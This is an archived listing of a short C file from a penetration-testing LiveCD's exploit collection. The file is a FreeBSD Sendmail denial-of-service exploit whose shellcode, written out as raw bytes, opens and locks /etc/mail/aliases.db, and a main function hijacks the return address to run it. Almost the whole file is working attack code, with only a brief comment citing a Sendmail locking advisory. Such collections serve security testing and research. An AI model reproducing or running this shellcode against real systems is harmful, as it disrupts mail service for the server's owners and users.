home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / sendmail / freebsdsendmaildos.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  561b  |  25 lines

  1. /*
  2.  
  3. FreeBSD Sendmail DoS shellcode that locks /etc/mail/aliases.db
  4. Written by zillion (at http://www.safemode.org && http://www.snosoft.com)
  5.  
  6. More info: http://www.sendmail.org/LockingAdvisory.txt
  7.  
  8. */
  9.  
  10. char shellcode[] =
  11.         "\xeb\x1a\x5e\x31\xc0\x88\x46\x14\x50\x56\xb0\x05\x50\xcd\x80"
  12.         "\x6a\x02\x50\xb0\x83\x50\xcd\x80\x80\xe9\x03\x78\xfe\xe8\xe1"
  13.         "\xff\xff\xff\x2f\x65\x74\x63\x2f\x6d\x61\x69\x6c\x2f\x61\x6c"
  14.         "\x69\x61\x73\x65\x73\x2e\x64\x62";
  15.  
  16. int main()
  17. {
  18.  
  19.   int *ret;
  20.   ret = (int *)&ret + 2;
  21.   (*ret) = (int)shellcode;
  22. }
  23.  
  24.  
  25.